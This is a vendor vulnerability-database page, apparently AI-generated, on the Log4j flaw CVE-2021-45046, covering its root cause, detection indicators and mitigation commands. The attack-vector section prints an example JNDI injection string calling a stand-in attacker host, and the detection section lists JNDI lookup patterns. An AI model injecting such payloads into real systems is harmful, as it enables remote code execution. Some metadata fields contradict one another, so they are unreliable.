The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2021-45046

CVE-2021-45046: Apache Log4j RCE Vulnerability

CVE-2021-45046 is a remote code execution flaw in Apache Log4j affecting non-default configurations. Attackers can exploit Thread Context Map data to execute malicious code. This article covers technical details, affected versions, impact, and mitigation strategies.

Published: March 4, 2026

CVE-2021-45046 Overview

CVE-2021-45046 is a critical vulnerability in Apache Log4j that represents an incomplete fix for the infamous Log4Shell vulnerability (CVE-2021-44228). The initial patch released in Log4j 2.15.0 failed to fully address the JNDI lookup exploitation vector in certain non-default configurations. Attackers who can control Thread Context Map (MDC) input data can exploit this vulnerability when logging configurations use non-default Pattern Layouts containing Context Lookups ($${ctx:loginId}) or Thread Context Map patterns (%X, %mdc, or %MDC). This allows crafting malicious input using JNDI Lookup patterns, resulting in information leakage and remote code execution in some environments, with local code execution possible in all affected environments.

Critical Impact

This vulnerability enables remote code execution through JNDI injection when applications use non-default logging configurations with Thread Context Map patterns. Listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild.

Affected Products

  • Apache Log4j 2.0 through 2.15.0 (excluding 2.12.2 for Java 7)
  • Intel products including OneAPI, Datacenter Manager, System Studio, and Audio Development Kit
  • Siemens industrial products including MindSphere, Teamcenter, Industrial Edge Management, and numerous SCADA/ICS systems
  • Debian Linux 10.0 and 11.0
  • Fedora 34 and 35
  • SonicWall Email Security

Discovery Timeline

  • December 14, 2021 - CVE-2021-45046 published to NVD
  • October 27, 2025 - Last updated in NVD database

Technical Details for CVE-2021-45046

Vulnerability Analysis

This vulnerability stems from an incomplete mitigation of the original Log4Shell vulnerability. While CVE-2021-44228 addressed the most common exploitation scenarios, certain edge cases remained exploitable. The flaw specifically affects applications using non-default Pattern Layout configurations that incorporate Context Lookups or Thread Context Map patterns.

When an application logs data that includes attacker-controlled Thread Context Map values, and the logging configuration uses patterns like %X, %mdc, %MDC, or Context Lookups such as $${ctx:loginId}, the JNDI lookup functionality can still be triggered. This bypasses the protections implemented in version 2.15.0, allowing attackers to force the vulnerable application to make outbound JNDI connections to attacker-controlled servers.

The exploitation mechanics leverage the same underlying JNDI injection technique as CVE-2021-44228, but through a different code path that was not addressed in the initial fix. Successful exploitation can result in information disclosure through DNS-based exfiltration and, in environments where JNDI remote class loading is permitted, full remote code execution.

Root Cause

The root cause is CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement). The Log4j 2.15.0 patch restricted message lookup patterns but did not adequately sanitize Thread Context Map data when processed through Pattern Layout configurations. The JNDI lookup mechanism remained accessible through MDC input channels, allowing attackers to inject malicious JNDI URIs that bypass the intended restrictions.

Attack Vector

The attack leverages network-accessible applications that log user-controlled data to Thread Context Maps. An attacker crafts input containing JNDI lookup strings (e.g., ${jndi:ldap://attacker.com/exploit}) and ensures this data flows into the application's Thread Context Map. When the logging subsystem processes this data using vulnerable Pattern Layout configurations, it triggers JNDI resolution, connecting to the attacker's server. The attacker's LDAP/RMI server can then return a malicious Java object reference, leading to code execution when deserialized by the vulnerable application.

The attack requires the target application to have specific logging configuration patterns, making it more constrained than CVE-2021-44228 but still highly dangerous in affected deployments. Industrial control systems and enterprise software using Log4j with MDC logging patterns are particularly at risk.

Detection Methods for CVE-2021-45046

Indicators of Compromise

  • Outbound LDAP, LDAPS, RMI, or DNS connections to unexpected external IP addresses or domains from Java applications
  • Log entries containing JNDI lookup patterns such as ${jndi:ldap://, ${jndi:rmi://, or obfuscated variants like ${${lower:j}ndi:
  • Presence of suspicious Java classes in application classpath or temporary directories that were not part of the original deployment
  • Unusual Thread Context Map values in application logs containing nested lookup expressions

Detection Strategies

  • Implement network monitoring to detect outbound LDAP (port 389/636) and RMI (port 1099) connections from internal application servers to external destinations
  • Deploy application-level logging analysis to identify JNDI lookup patterns in log output, including obfuscated and encoded variants
  • Use SentinelOne's behavioral AI to detect anomalous process spawning from Java applications, particularly shell processes or network utilities
  • Scan application dependencies using software composition analysis (SCA) tools to identify vulnerable Log4j versions in the classpath

Monitoring Recommendations

  • Enable enhanced logging for Java applications to capture Thread Context Map contents and Pattern Layout configurations
  • Configure SIEM rules to alert on JNDI-related strings in web application logs, including common obfuscation techniques
  • Monitor DNS query logs for lookups containing encoded or unusual subdomain patterns that may indicate data exfiltration attempts
  • Implement egress filtering and monitor for policy violations from Java application servers

How to Mitigate CVE-2021-45046

Immediate Actions Required

  • Upgrade Apache Log4j to version 2.16.0 or later for Java 8+, or version 2.12.2 for Java 7 environments
  • Remove the JndiLookup class from the classpath as an immediate mitigation: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Review logging configurations and remove or sanitize Pattern Layout patterns that use Context Lookups or Thread Context Map patterns
  • Implement network egress controls to block outbound LDAP, LDAPS, and RMI connections from application servers

Patch Information

Apache has released Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) which completely address this vulnerability by removing support for message lookup patterns and disabling JNDI functionality by default. Organizations should prioritize upgrading to these versions. For detailed patch information, consult the Apache Log4j Security Page. Additional vendor-specific patches are available from Intel Security Advisory Intel-SA-00646, Siemens Security Advisory SSA-714170, and Oracle Critical Patch Update January 2022.

Workarounds

  • Remove the JndiLookup class from the log4j-core JAR file to eliminate the JNDI lookup capability entirely
  • Set the system property log4j2.formatMsgNoLookups=true (note: this alone is insufficient for CVE-2021-45046 but provides defense-in-depth)
  • Configure network-level blocking for outbound LDAP, RMI, and LDAPS traffic from application servers
  • Implement Web Application Firewall (WAF) rules to block requests containing JNDI lookup patterns and common obfuscation variants
bash
# Remove JndiLookup class from log4j-core JAR
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# Set system property to disable message lookups (defense-in-depth)
java -Dlog4j2.formatMsgNoLookups=true -jar application.jar

# Block outbound LDAP/RMI at firewall level
iptables -A OUTPUT -p tcp --dport 389 -j DROP
iptables -A OUTPUT -p tcp --dport 636 -j DROP
iptables -A OUTPUT -p tcp --dport 1099 -j DROP

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechApache Log4j

  • SeverityCRITICAL

  • CVSS Score9.0

  • EPSS Probability94.34%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Impact Assessment
  • ConfidentialityHigh
  • IntegrityNone
  • AvailabilityHigh
  • CISA KEV Information
  • In CISA KEVYes
  • CWE References
  • CWE-917
  • Technical References
  • Openwall OSS Security Update

  • Openwall OSS Security Update

  • Siemens Security Advisory SSA-397453

  • Siemens Security Advisory SSA-479842

  • Siemens Security Advisory SSA-661247

  • Siemens Security Advisory SSA-714170

  • Fedora Package Announcement

  • Fedora Package Announcement

  • SonicWall Vulnerability SNWLID-2021-0032

  • Gentoo GLSA 202310-16

  • Cisco Security Advisory for Log4j

  • CVE-2021-44228 CVE Record

  • Debian Security Update DSA-5022

  • Intel Security Advisory Intel-SA-00646

  • CERT Vulnerability ID 930724

  • Oracle Security Alert for CVE-2021-44228

  • Oracle Critical Patch Update April 2022

  • Oracle Critical Patch Update July 2022

  • CISA Known Exploited Vulnerabilities Catalog
  • Vendor Resources
  • Openwall OSS Security Update

  • Apache Log4j Security Page

  • Oracle Critical Patch Update January 2022
  • Related CVEs
  • CVE-2021-44228: Siemens 6bk1602-0aa12-0tp0 RCE Flaw

  • CVE-2022-23302: Apache Log4j JMSSink RCE Vulnerability

  • CVE-2021-4104: Apache Log4j 1.2 JMSAppender RCE Flaw

  • CVE-2021-44832: Apache Log4j RCE Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English